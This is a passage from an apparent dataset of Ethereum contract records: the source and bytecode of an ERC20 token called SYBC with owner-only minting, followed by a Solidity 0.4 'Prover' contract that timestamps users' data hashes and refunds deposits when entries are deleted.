* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SYBC is Context, IERC20, IERC20Metadata,Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "REAL ESTATE COINS";
_symbol = "SYBC";
_totalSupply = 20000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 8;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function mint(address account,uint256 amount) public onlyOwner {
_mint(account,amount);
}
function burn(uint256 amount) public {
_burn(msg.sender,amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806342966c681461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906116e7565b60405180910390f35b61013d60048036038101906101389190611433565b6103db565b60405161014a91906116cc565b60405180910390f35b61015b6103f9565b6040516101689190611889565b60405180910390f35b61018b600480360381019061018691906113e4565b610403565b60405161019891906116cc565b60405180910390f35b6101a9610504565b6040516101b691906118a4565b60405180910390f35b6101d960048036038101906101d49190611433565b61050d565b6040516101e691906116cc565b60405180910390f35b61020960048036038101906102049190611433565b6105b9565b005b6102256004803603810190610220919061146f565b610643565b005b610241600480360381019061023c919061137f565b610650565b60405161024e9190611889565b60405180910390f35b61025f610699565b005b6102696107d3565b60405161027691906116b1565b60405180910390f35b6102876107fc565b60405161029491906116e7565b60405180910390f35b6102b760048036038101906102b29190611433565b61088e565b6040516102c491906116cc565b60405180910390f35b6102e760048036038101906102e29190611433565b610982565b6040516102f491906116cc565b60405180910390f35b610317600480360381019061031291906113a8565b6109a0565b6040516103249190611889565b60405180910390f35b6103476004803603810190610342919061137f565b610a27565b005b606060048054610358906119ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906119ed565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610bd0565b8484610bd8565b6001905092915050565b6000600354905090565b6000610410848484610da3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d2906117a9565b60405180910390fd5b6104f8856104e7610bd0565b85846104f39190611931565b610bd8565b60019150509392505050565b60006008905090565b60006105af61051a610bd0565b848460026000610528610bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa91906118db565b610bd8565b6001905092915050565b6105c1610bd0565b73ffffffffffffffffffffffffffffffffffffffff166105df6107d3565b73ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062c906117c9565b60405180910390fd5b61063f8282611025565b5050565b61064d338261117a565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a1610bd0565b73ffffffffffffffffffffffffffffffffffffffff166106bf6107d3565b73ffffffffffffffffffffffffffffffffffffffff1614610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070c906117c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461080b906119ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610837906119ed565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b6000806002600061089d610bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561095a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095190611849565b60405180910390fd5b610977610965610bd0565b8585846109729190611931565b610bd8565b600191505092915050565b600061099661098f610bd0565b8484610da3565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a2f610bd0565b73ffffffffffffffffffffffffffffffffffffffff16610a4d6107d3565b73ffffffffffffffffffffffffffffffffffffffff1614610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a906117c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a90611749565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90611829565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf90611769565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d969190611889565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0a90611809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90611709565b60405180910390fd5b610e8e838383611350565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90611789565b60405180910390fd5b8181610f219190611931565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb391906118db565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110179190611889565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90611869565b60405180910390fd5b6110a160008383611350565b80600360008282546110b391906118db565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461110991906118db565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161116e9190611889565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e1906117e9565b60405180910390fd5b6111f682600083611350565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127490611729565b60405180910390fd5b81816112899190611931565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546112de9190611931565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113439190611889565b60405180910390a3505050565b505050565b60008135905061136481611df6565b92915050565b60008135905061137981611e0d565b92915050565b60006020828403121561139157600080fd5b600061139f84828501611355565b91505092915050565b600080604083850312156113bb57600080fd5b60006113c985828601611355565b92505060206113da85828601611355565b9150509250929050565b6000806000606084860312156113f957600080fd5b600061140786828701611355565b935050602061141886828701611355565b92505060406114298682870161136a565b9150509250925092565b6000806040838503121561144657600080fd5b600061145485828601611355565b92505060206114658582860161136a565b9150509250929050565b60006020828403121561148157600080fd5b600061148f8482850161136a565b91505092915050565b6114a181611965565b82525050565b6114b081611977565b82525050565b60006114c1826118bf565b6114cb81856118ca565b93506114db8185602086016119ba565b6114e481611a7d565b840191505092915050565b60006114fc6023836118ca565b915061150782611a8e565b604082019050919050565b600061151f6022836118ca565b915061152a82611add565b604082019050919050565b60006115426026836118ca565b915061154d82611b2c565b604082019050919050565b60006115656022836118ca565b915061157082611b7b565b604082019050919050565b60006115886026836118ca565b915061159382611bca565b604082019050919050565b60006115ab6028836118ca565b91506115b682611c19565b604082019050919050565b60006115ce6020836118ca565b91506115d982611c68565b602082019050919050565b60006115f16021836118ca565b91506115fc82611c91565b604082019050919050565b60006116146025836118ca565b915061161f82611ce0565b604082019050919050565b60006116376024836118ca565b915061164282611d2f565b604082019050919050565b600061165a6025836118ca565b915061166582611d7e565b604082019050919050565b600061167d601f836118ca565b915061168882611dcd565b602082019050919050565b61169c816119a3565b82525050565b6116ab816119ad565b82525050565b60006020820190506116c66000830184611498565b92915050565b60006020820190506116e160008301846114a7565b92915050565b6000602082019050818103600083015261170181846114b6565b905092915050565b60006020820190508181036000830152611722816114ef565b9050919050565b6000602082019050818103600083015261174281611512565b9050919050565b6000602082019050818103600083015261176281611535565b9050919050565b6000602082019050818103600083015261178281611558565b9050919050565b600060208201905081810360008301526117a28161157b565b9050919050565b600060208201905081810360008301526117c28161159e565b9050919050565b600060208201905081810360008301526117e2816115c1565b9050919050565b60006020820190508181036000830152611802816115e4565b9050919050565b6000602082019050818103600083015261182281611607565b9050919050565b600060208201905081810360008301526118428161162a565b9050919050565b600060208201905081810360008301526118628161164d565b9050919050565b6000602082019050818103600083015261188281611670565b9050919050565b600060208201905061189e6000830184611693565b92915050565b60006020820190506118b960008301846116a2565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118e6826119a3565b91506118f1836119a3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561192657611925611a1f565b5b828201905092915050565b600061193c826119a3565b9150611947836119a3565b92508282101561195a57611959611a1f565b5b828203905092915050565b600061197082611983565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119d85780820151818401526020810190506119bd565b838111156119e7576000848401525b50505050565b60006002820490506001821680611a0557607f821691505b60208210811415611a1957611a18611a4e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611dff81611965565b8114611e0a57600080fd5b50565b611e16816119a3565b8114611e2157600080fd5b5056fea264697066735822122060194ea243cc885e8bc31f89723dd770bd9ab2e6944971ad1182f4a7324dd36564736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 6,104 |
0x7Aef44E5e6930F8799559aFB046Ccd8692044f86
|
pragma solidity ^0.4.13;
library Sets {
// address set
struct addressSet {
address[] members;
mapping (address => bool) memberExists;
mapping (address => uint) memberIndex;
}
function insert(addressSet storage self, address other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(addressSet storage self, address other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(addressSet storage self, address other) returns (bool) {
return self.memberExists[other];
}
function length(addressSet storage self) returns (uint256) {
return self.members.length;
}
// uint set
struct uintSet {
uint[] members;
mapping (uint => bool) memberExists;
mapping (uint => uint) memberIndex;
}
function insert(uintSet storage self, uint other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(uintSet storage self, uint other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(uintSet storage self, uint other) returns (bool) {
return self.memberExists[other];
}
function length(uintSet storage self) returns (uint256) {
return self.members.length;
}
// uint8 set
struct uint8Set {
uint8[] members;
mapping (uint8 => bool) memberExists;
mapping (uint8 => uint) memberIndex;
}
function insert(uint8Set storage self, uint8 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(uint8Set storage self, uint8 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(uint8Set storage self, uint8 other) returns (bool) {
return self.memberExists[other];
}
function length(uint8Set storage self) returns (uint256) {
return self.members.length;
}
// int set
struct intSet {
int[] members;
mapping (int => bool) memberExists;
mapping (int => uint) memberIndex;
}
function insert(intSet storage self, int other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(intSet storage self, int other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(intSet storage self, int other) returns (bool) {
return self.memberExists[other];
}
function length(intSet storage self) returns (uint256) {
return self.members.length;
}
// int8 set
struct int8Set {
int8[] members;
mapping (int8 => bool) memberExists;
mapping (int8 => uint) memberIndex;
}
function insert(int8Set storage self, int8 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(int8Set storage self, int8 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(int8Set storage self, int8 other) returns (bool) {
return self.memberExists[other];
}
function length(int8Set storage self) returns (uint256) {
return self.members.length;
}
// byte set
struct byteSet {
byte[] members;
mapping (byte => bool) memberExists;
mapping (byte => uint) memberIndex;
}
function insert(byteSet storage self, byte other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(byteSet storage self, byte other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(byteSet storage self, byte other) returns (bool) {
return self.memberExists[other];
}
function length(byteSet storage self) returns (uint256) {
return self.members.length;
}
// bytes32 set
struct bytes32Set {
bytes32[] members;
mapping (bytes32 => bool) memberExists;
mapping (bytes32 => uint) memberIndex;
}
function insert(bytes32Set storage self, bytes32 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(bytes32Set storage self, bytes32 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(bytes32Set storage self, bytes32 other) returns (bool) {
return self.memberExists[other];
}
function length(bytes32Set storage self) returns (uint256) {
return self.members.length;
}
}
contract Prover {
// attach library
using Sets for *;
// storage vars
address owner;
Sets.addressSet internal users;
mapping (address => UserAccount) internal ledger;
// structs
struct UserAccount {
Sets.bytes32Set hashes;
mapping (bytes32 => Entry) entries;
}
struct Entry {
uint256 time;
uint256 value;
}
// constructor
function Prover() {
owner = msg.sender;
}
// fallback: unmatched transactions will be returned
function () {
revert();
}
// modifier to check if sender has an account
modifier hasAccount() {
assert(ledger[msg.sender].hashes.length() >= 1);
_;
}
// external functions
// proving
function proveIt(address target, bytes32 dataHash) external constant
returns (bool proved, uint256 time, uint256 value)
{
return status(target, dataHash);
}
function proveIt(address target, string dataString) external constant
returns (bool proved, uint256 time, uint256 value)
{
return status(target, sha3(dataString));
}
// allow access to our structs via functions with convenient return values
function usersGetter() public constant
returns (uint256 number_unique_addresses, address[] unique_addresses)
{
return (users.length(), users.members);
}
function userEntries(address target) external constant returns (bytes32[]) {
return ledger[target].hashes.members;
}
// public functions
// adding entries
function addEntry(bytes32 dataHash) payable {
_addEntry(dataHash);
}
function addEntry(string dataString) payable {
_addEntry(sha3(dataString));
}
// deleting entries
function deleteEntry(bytes32 dataHash) hasAccount {
_deleteEntry(dataHash);
}
function deleteEntry(string dataString) hasAccount {
_deleteEntry(sha3(dataString));
}
// allow owner to delete contract if no accounts exist
function selfDestruct() {
if ((msg.sender == owner) && (users.length() == 0)) {
selfdestruct(owner);
}
}
// internal functions
function _addEntry(bytes32 dataHash) internal {
// ensure the entry doesn't exist
assert(!ledger[msg.sender].hashes.contains(dataHash));
// update UserAccount (hashes then entries)
ledger[msg.sender].hashes.insert(dataHash);
ledger[msg.sender].entries[dataHash] = Entry(now, msg.value);
// add sender to userlist
users.insert(msg.sender);
}
function _deleteEntry(bytes32 dataHash) internal {
// ensure the entry does exist
assert(ledger[msg.sender].hashes.contains(dataHash));
uint256 rebate = ledger[msg.sender].entries[dataHash].value;
// update UserAccount (hashes then entries)
ledger[msg.sender].hashes.remove(dataHash);
delete ledger[msg.sender].entries[dataHash];
// send the rebate
if (rebate > 0) {
msg.sender.transfer(rebate);
}
// delete from userlist if this was the user's last entry
if (ledger[msg.sender].hashes.length() == 0) {
users.remove(msg.sender);
}
}
// return status of arbitrary address and dataHash
